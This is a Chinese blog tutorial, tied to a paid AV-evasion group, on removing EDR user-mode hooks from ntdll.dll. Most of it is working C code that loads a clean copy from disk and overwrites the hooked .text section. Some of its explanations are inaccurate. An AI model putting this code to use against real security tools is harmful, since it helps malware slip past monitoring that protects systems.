Ntdll解除挂钩学习

admin 2025年1月9日22:32:44评论20 views字数 12956阅读43分11秒阅读模式

欢迎加入我的知识星球,目前正在更新免杀相关的东西,129/永久,每100人加29,每周更新2-3篇上千字PDF文档。文档中会详细描述。目前已更新93+ PDF文档,《2025年了,人生中最好的投资就是投资自己!!!》

加好友备注(星球)!!!

Ntdll解除挂钩学习
一些纷传的资源:
Ntdll解除挂钩学习
Ntdll解除挂钩学习
Ntdll解除挂钩学习
Ntdll解除挂钩学习
等等....
简介

我们之前都是直接通过使用直接系统调用的方式来绕过用户态钩子,通过在项目文件中创建并调用系统调用来实现此目标。还有另外一种方法也可以绕过用户态的钩子,那么这种方法是将已经加载到进程中的钩子DLL替换为一个未经修改且未被钩主的版本来达到相同的目标。

将勾住的DLL替换为一个未被勾住的版本需要手动设置导入地址表,修复重定位表以及其他繁琐的过程。为了避免这一复杂的过程。我们可以直接替换DLL文件的一部分,特别是包含钩子的.text区域。.text区域中包含了DLL导出函数的代码。一般钩子都会安装在这个区域。

那么要替换.text区域是非常简单的,只需要获取到其基址和大小,这些信息都是位于IMAGE_OPTIONAL_HEADER头部中的BaseOfCode字段和SizeOfCode字段。

另外一种方法是获取到.text区域基址和大小的方法是通过IMAGE_SECTION_HEADER头部,搜索.text字符串在IMAGE_SECTION_HEADER.Name数组中的位置。

那么为了替换.text区域的内容,就需要去更改该区段的内存权限。通常情况下,.text段被标记为可读可执行的权限。为了能够替换为新的.text区域,那么就必须修改内存权限以允许写入数据,可以通过VirtualProtectWin API来修改内存权限。我们必须将.text区域的权限设置为PAGE_EXECUTE_READWRITE权限。

对于大多数的DLL文件来说,.text区域在磁盘上的偏移量为0x400,也就是1024。我们可以使用Pe-Bear来查看。

Ntdll解除挂钩学习

那么我们在想为什么偏移是400?

WidowsPE文件格式中,.text区域存放的是程序的代码,例如DLL中的导出函数,PE文件的结构通常要求 .text 区段从特定的内存位置开始,以确保内存的对齐和访问效率。

那么当DLL被加载到内存中时,文件中的偏移量会发生变化,对于大多数的DLL文件,.text区域的偏移通常会被设置为0x1000。这是因为在内存中,Windows通常采用4KB,作为默认的内存页大小。其实也是为了对其。

Ntdll解除挂钩学习
磁盘上的偏移与内存上的偏移

DLL.text段在磁盘上的偏移和加载到内存中的偏移是存在差异的。在磁盘上的偏移DLL.text段通常会以1kb(1024字节)为对其单位。而在内存中,当DLL被加载到进程的内存空间中时,操作系统会将它映射到虚拟内存,并且会使用4KB的页面对其。这意味着DLL.text段在内存中的偏移会被对齐到4KB的边界。

接下来我们将从磁盘上来获取ntdll.dll。从磁盘上获取到的ntdll.dll文件是从未被篡改的版本。在Windows操作系统中,Ntdll.dll通常位于C:WindowsSystem32目录中,通过这种方式,可以从原始的磁盘文件中获取一个干净,未被修改的ntdll.dll。并将其加载到内存中,替换到目标进程中已经被篡改的版本。

Ntdll解除挂钩-磁盘

首先我们肯定是需要从磁盘上读取Ntdll.dll文件的。那么我们可以通过GetWindowsDirectoryA函数来获取当前操作系统的Windows安装目录的路径。

函数原型如下:

UINT GetWindowsDirectoryA(  LPSTR lpBuffer,  UINT  nSize);

通过CreateFileA函数来读取ntdll.dll文件返回文件句柄。

获取该ntdll.dll文件的大小,再去申请一块内存用于将Ntdll.dll读取到内存中。

如下代码:

#include <Windows.h>#define NTDLL "NTDLL.DLL"  // 定义 ntdll.dll 的文件名// 从磁盘读取 ntdll.dll 文件到缓冲区BOOL ReadNtdllFromDisk(OUT PVOID* ppNtdllBuf) {    CHAR cWinPath[MAX_PATH / 2] = { 0 };  // 存储 Windows 目录的路径    CHAR cNtdllPath[MAX_PATH] = { 0 };    // 存储 ntdll.dll 的完整路径    HANDLE hFile = NULL;                   // 用于存储文件句柄    DWORD dwNumberOfBytesRead = NULL,      // 读取的字节数        dwFileLen = NULL;                // 文件的总字节长度    PVOID pNtdllBuffer = NULL;             // 用于存储 ntdll.dll 内容的缓冲区    // 获取 Windows 目录路径(例如 C:Windows)    if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {        printf("[!] GetWindowsDirectoryA 失败,错误代码:%d n", GetLastError());        goto _EndOfFunc;  // 如果失败,跳转到结束部分    }    // 使用 Windows 目录路径构建 ntdll.dll 的完整路径    // 示例路径:C:WindowsSystem32ntdll.dll    sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\System32\%s", cWinPath, NTDLL);    // 打开 ntdll.dll 文件,获取文件句柄    hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);    if (hFile == INVALID_HANDLE_VALUE) {        printf("[!] CreateFileA 失败,错误代码:%d n", GetLastError());        goto _EndOfFunc;  // 如果打开文件失败,跳转到结束部分    }    // 获取文件大小    dwFileLen = GetFileSize(hFile, NULL);    // 为文件内容分配足够的内存    pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);    // 读取 ntdll.dll 文件内容    if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead) {        printf("[!] ReadFile 失败,错误代码:%d n", GetLastError());        printf("[i] 读取了 %d 字节,预期读取 %d 字节 n", dwNumberOfBytesRead, dwFileLen);        goto _EndOfFunc;  // 如果读取文件失败,跳转到结束部分    }    // 将读取到的文件内容传递给调用者    *ppNtdllBuf = pNtdllBuffer;_EndOfFunc:    // 清理资源    if (hFile)        CloseHandle(hFile);  // 关闭文件句柄    if (*ppNtdllBuf == NULL)        return FALSE;  // 如果没有成功读取文件内容,返回 FALSE    else        return TRUE;   // 成功读取文件,返回 TRUE}int main() {    PVOID ntdllbuffer = NULL;    ReadNtdllFromDisk(&ntdllbuffer);}
Ntdll解除挂钩学习

接下来需要使用CreateFileMappingAMapViewOfFile函数来映射Ntdll了。

如果我们要使用CreateFileMappingAMapViewOfFile函数来从C:WindowsSystem32读取并映射ntdll.dll。你可以利用Windows加载DLL并处理内存对齐的方式。使用 CreateFileMappingA 和 MapViewOfFile 时,内存中的.text段偏移将为4096 字节。

这是Windows默认的页面大小。如果你希望将文件映射到内存,但是避免触发安全回调(PsSetLoadImageNotifyRoutine),可以使用SEC_IMAGE_NO_EXECUTE标记。该标记确保文件映射时不会赋予执行权限。从而避免EDR等工具检测到。

这里的安全回调PsSetLoadImageNotifyRoutine例程会注册一个驱动程序提供的回调。虽然每当无论是EXE还是DLL被加载的时候,都会接收到通知。

如下代码:

#define NTDLL "NTDLL.DLL"BOOL MapNtdllFromDisk(OUT PVOID* ppNtdllBuf) {    HANDLE  hFile                           = NULL,    // 文件句柄,用于打开 ntdll.dll 文件            hSection                        = NULL;    // 映射文件的句柄    CHAR    cWinPath    [MAX_PATH / 2]      = { 0 };    // 存储 Windows 系统目录的路径    CHAR    cNtdllPath  [MAX_PATH]          = { 0 };    // 存储 ntdll.dll 的完整路径    PBYTE   pNtdllBuffer                    = NULL;     // 存储映射到内存中的 ntdll.dll 文件数据    // 获取 Windows 系统目录路径(如 C:Windows)    if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {        printf("[!] GetWindowsDirectoryA 获取系统目录失败. 错误: %d n", GetLastError());        goto _EndOfFunc;    }    // 使用更安全的 sprintf_s 函数,拼接出 ntdll.dll 的完整路径    sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\System32\%s", cWinPath, NTDLL);    // 打开 ntdll.dll 文件,获取文件句柄    hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);    if (hFile == INVALID_HANDLE_VALUE) {        printf("[!] CreateFileA 打开文件失败. 错误: %d n", GetLastError());        goto _EndOfFunc;    }    // 创建文件映射对象,使用 'SEC_IMAGE_NO_EXECUTE' 标志,禁止执行映射区域    hSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);    if (hSection == NULL) {        printf("[!] CreateFileMappingA 创建文件映射失败. 错误: %d n", GetLastError());        goto _EndOfFunc;    }    // 将文件映射到内存中,创建视图(只读)    pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);    if (pNtdllBuffer == NULL) {        printf("[!] MapViewOfFile 映射文件失败. 错误: %d n", GetLastError());        goto _EndOfFunc;    }    // 返回映射后的 ntdll.dll 内存基址    *ppNtdllBuf = pNtdllBuffer;_EndOfFunc:    // 关闭文件句柄和文件映射句柄    if (hFile)        CloseHandle(hFile);    if (hSection)        CloseHandle(hSection);    // 如果映射失败,返回 FALSE;否则返回 TRUE    if (*ppNtdllBuf == NULL)        return FALSE;    else        return TRUE;}
Ntdll解除挂钩学习

如上无论是从磁盘中读取Ntdll还是以文件映射的方式,其实都是将Ntdll到内存中。需要注意的是Ntdll文件如果是从磁盘上读取而不是映射到内存时,其.text段的偏移量可能是4096,而不是1024,所以将文件映射到内存时比较可靠的。因为.text偏移量始终等于IMAGE_SECTION_HEADER.VirtualAddressDLL 文件的偏移量。

为了解除Ntdll.dll的挂钩Hook,需要执行一系列的操作。为了替换本地被Hookntdll.dll.text段,必须首先获取基地址和大小。这可以通过多种方式完成。但是首先需要获取到本地ntdll.dll模块的句柄。

我们可以通过GetModuleHandle来获取到ntdll.dll模块的句柄。但是这种方式依赖于Windows API的实现。

我们都知道在x64系统上,PEB的地址存储在GS寄存器的偏移0x60处。在x86系统上,PEB的地址存储在FS寄存器的偏移0x30处。

我们可以通过内联汇编指令来获取PEB.

#ifdef _WIN64PPEB pPeb = (PPEB)__readgsqword(0x60); // 读取 GS 寄存器 0x60 偏移#elif _WIN32PPEB pPeb = (PPEB)__readfsdword(0x30); // 读取 FS 寄存器 0x30 偏移#endif

那么获取到PEB的地址之后就可以通过遍历LDR链表。首先通过pPeb->Ldr->InMemoryOrderModuleList获取到双向链表。该双向链表中包含了已加载模块的信息。

Flink指向链表中的下一个节点,第一次Flink指向当前模块,这通常是EXE文件,第二次Flink指向Ntdll模块,减去0x10的偏移及为模块的PLDR_DATA_TABLE_ENTRY结构。

PLDR_DATA_TABLE_ENTRYpLdr= (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
最后返回该模块的基地址。
return pLdr->DllBase;
如下测试代码:
#include <Windows.h>#define NTDLL "NTDLL.DLL"  // 定义 ntdll.dll 的文件名// 定义泛型的 PEB 和 TEB 类型typedef struct _PEB_LDR_DATA {    ULONG Length;    UCHAR Initialized;    PVOID SsHandle;    LIST_ENTRY InLoadOrderModuleList;    LIST_ENTRY InMemoryOrderModuleList;    LIST_ENTRY InInitializationOrderModuleList;} PEB_LDR_DATA, * PPEB_LDR_DATA;typedef struct _UNICODE_STRING {    USHORT Length;    USHORT MaximumLength;    PWSTR Buffer;} UNICODE_STRING, * PUNICODE_STRING;typedef struct _LDR_DATA_TABLE_ENTRY {    LIST_ENTRY InLoadOrderLinks;    LIST_ENTRY InMemoryOrderLinks;    LIST_ENTRY InInitializationOrderLinks;    PVOID DllBase;    PVOID EntryPoint;    ULONG SizeOfImage;    UNICODE_STRING FullDllName;    UNICODE_STRING BaseDllName;    ULONG Flags;    SHORT LoadCount;    SHORT TlsIndex;    LIST_ENTRY HashLinks;    PVOID TimeDateStamp;} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;typedef struct _PEB {    BOOLEAN InheritedAddressSpace;    BOOLEAN ReadImageFileExecOptions;    BOOLEAN BeingDebugged;    BOOLEAN BitField;    PVOID Mutant;    PVOID ImageBaseAddress;    PPEB_LDR_DATA Ldr;    PVOID ProcessParameters;    PVOID SubSystemData;    PVOID ProcessHeap;    PVOID FastPebLock;    PVOID AtlThunkSListPtr;    PVOID IFEOKey;    ULONG CrossProcessFlags;    PVOID KernelCallbackTable;    ULONG SystemReserved[1];    ULONG AtlThunkSListPtr32;    PVOID ApiSetMap;} PEB, * PPEB;PVOID FetchLocalNtdllBaseAddress() {#ifdef _WIN64    PPEB pPeb = (PPEB)__readgsqword(0x60); // 获取 PEB 地址#elif _WIN32    PPEB pPeb = (PPEB)__readfsdword(0x30); // 获取 PEB 地址#endif    // 获取 ntdll.dll 模块(LDR 链表中的第二个条目)    PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);    // 返回 ntdll.dll 的基址    return pLdr->DllBase;}int main() {    PVOID ntdllbuffer = NULL;    ReadNtdllFromDisk(&ntdllbuffer);    MapNtdllFromDisk(&ntdllbuffer);    PVOID ntdllbase = NULL;    ntdllbase = FetchLocalNtdllBaseAddress();}
Ntdll解除挂钩学习

那么现在就可以通过可选PE头来获取.text段信息了。在可选PE头中提供了.text段的基地址。

那么首先的话肯定是需要解析DOS头

PIMAGE_DOS_HEADERpLocalDosHdr= (PIMAGE_DOS_HEADER)ntdllbase;
那么下来就是获取Nt头。
PIMAGE_NT_HEADERSpLocalNtHdrs= (PIMAGE_NT_HEADERS)((PBYTE)ntdllbase + pLocalDosHdr->e_lfanew);
获取Nt头之后,通过Nt头定位到可选PE头的BaseCode字段。通过BaseCode字段的值加上ntdll的基地址就可以获取到.text段的地址了。
PVOIDpLocalNtdllTxt= (PVOID)(pLocalNtHdrs->OptionalHeader.BaseOfCode + (ULONG_PTR)ntdllbase);
Ntdll解除挂钩学习

也可以通过可选PE头中的SizeOfCode字段来获取到.text段的大小。

Ntdll解除挂钩学习

获取到.text段的基地址以及大小之后。

接下来,我们需要获取到未挂钩的ntdll.dll文件的.text段的基地址。为此我们可以使用ReadNtdllFromDisk函数或MapNtdllFromDisk函数。需要注意的是如果使用ReadNtdllFromDisk函数,则.text段的偏移量为1024个字节。这是因为我们从磁盘读取文件时。那么如果使用MapNtdllFromDisk.text段的偏移量等于ntdll.dll在映射后的IMAGE_SECTION_HEADER.VirtualAddress

那么其实说白了如果你通过映射文件的方式,.text 段的基地址通常会通过 IMAGE_SECTION_HEADER.VirtualAddress 来确定,所以我们需要通过Ntdll模块的基地址加上IMAGE_SECTION_HEADER.VirtualAddress。那么如果你是通过文件读取的方式,.text段的偏移固定为1024,所以通过Ntdll模块的基地址加上1024即可。

下一步我们将替换本地已经挂钩的ntdll.dll模块的.text段,并使用未挂钩的.text段来替换。所以我们首先肯定是需要更改目标.text段的内存权限,因为我们需要写入,所以需要通过VirtualProtect函数将其.text段设置为PAGE_EXECUTE_READWRITE。然后使用memcpy函数来进行替换,最后再将权限更改回去。

这里定义了一个ReplaceNtdllTxtSection函数,该函数的目标是将本地HookNtdll.dll.text部分替换为未Hook的版本。该函数使用预处理指令根据ntdll.dll的方式来调整.text部分的偏移量。

如下代码:

该函数需要接受一个参数,它需要接受未HookNtdll.dll的基地址。

BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {    PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();  // 获取本地已钩的 Ntdll.dll 基地址    // 打印本地和未钩住的 Ntdll 基地址    printf("t[i] 'Hooked' Ntdll Base Address : 0x%p nt[i] 'Unhooked' Ntdll Base Address : 0x%p n", pLocalNtdll, pUnhookedNtdll);    printf("[#] Press <Enter> To Continue ... ");    getchar();    // 获取 DOS 头    PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;    if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)  // 检查 DOS 头签名是否正确        return FALSE;    // 获取 NT 头    PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);    if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)  // 检查 NT 头签名是否正确        return FALSE;    PVOID pLocalNtdllTxt = NULL, pRemoteNtdllTxt = NULL;  // 本地已钩住的文本段基地址,未钩住的文本段基地址    SIZE_T sNtdllTxtSize = NULL;  // 文本段的大小    // 获取文本段    PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);    for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {        // 判断该节是否为文本段        if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {            // 计算本地文本段基地址            pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);#ifdef MAP_NTDLL            // 如果定义了 MAP_NTDLL,使用映射方法获取未钩住的文本段基地址            pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);#endif // MAP_NTDLL#ifdef READ_NTDLL            // 如果定义了 READ_NTDLL,使用读取方法获取未钩住的文本段基地址            pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + 1024);#endif // READ_NTDLL            // 获取文本段的大小            sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;            break;        }    }    // 打印本地和未钩住的文本段地址及其大小    printf("t[i] 'Hooked' Ntdll Text Section Address : 0x%p nt[i] 'Unhooked' Ntdll Text Section Address : 0x%p nt[i] Text Section Size : %d n", pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);    printf("[#] Press <Enter> To Continue ... ");    getchar();    //---------------------------------------------------------------------------------------------------------------------------    // 检查是否获取到了所有必需的信息    if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)        return FALSE;#ifdef READ_NTDLL    // 检查 'pRemoteNtdllTxt' 是否为文本段的基地址    if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {        printf("t[i] Text section is of offset 4096, updating base address ... n");        // 如果不是,说明读取的文本段的偏移量为 4096,所以我们需要加上 3072(因为已经加过 1024)        (ULONG_PTR)pRemoteNtdllTxt += 3072;        // 再次检查        if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)            return FALSE;        printf("t[+] New Address : 0x%p n", pRemoteNtdllTxt);        printf("[#] Press <Enter> To Continue ... ");        getchar();    }#endif // READ_NTDLL//---------------------------------------------------------------------------------------------------------------------------    // 打印替换文本段的提示    printf("[i] Replacing The Text Section ... ");    DWORD dwOldProtection = NULL;    // 修改文本段的内存权限,使其可写且可执行    if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {        printf("[!] VirtualProtect [1] Failed With Error : %d n", GetLastError());        return FALSE;    }    // 复制新的文本段内容    memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);    // 恢复原先的内存保护权限    if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {        printf("[!] VirtualProtect [2] Failed With Error : %d n", GetLastError());        return FALSE;    }    // 打印完成提示    printf("[+] DONE !n");    return TRUE;}

如上代码的本质其实就是获取到本地已经HookNtdll.text段和未HookNtdll.text段。通过VirtualProtect函数将其.text段的内存保护权限更改为PAGE_EXECUTE_WRITECOPY。然后通过mempcy函数复制新的未Hook.text段到已经Hook.text段。最后将权限修改回来。

这里唯一需要解释的是为何要 检查pRemoteNtdllTxt是否为文本段的基地址。

这里需要注意的是在某些情况下,Ntdll.dll的前四个字节可能是会被修改的,如果这些字节不是0xCC 0xCC 0xCC 0xCC,那么说明ntdll.dll文件可能被修改过。

假设我们是通过磁盘读取的方式来读取Ntdll.dll的,判断如果前四个字节是 0xCC 0xCC 0xCC 0xCC,我们认为文件没有被修改过,此时可以直接使用 1024 字节作为文本段的偏移量。如果前面四个字节不是 0xCC 0xCC 0xCC 0xCC,则表示文件已经被篡改或勾住。此时我们需要使用真实的偏移量4096。

if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)这里的判断很简单。pLocalNtdllTxtpRemoteNtdllTxt分别指向勾住和未勾住的Ntdll.dll的指针。*(ULONG*)pLocalNtdllTxt是强制转换为 ULONG*(无符号长整型指针)然后解引用它们。最后取出它们所指向的内存地址中的4字节数据。其实就是0xCC 0xCC 0xCC 0xCC

如上就是Ntdll通过磁盘解除挂钩的学习思路。

原文始发于微信公众号(Relay学安全):Ntdll解除挂钩学习

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月9日22:32:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Ntdll解除挂钩学习https://cn-sec.com/archives/3611557.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息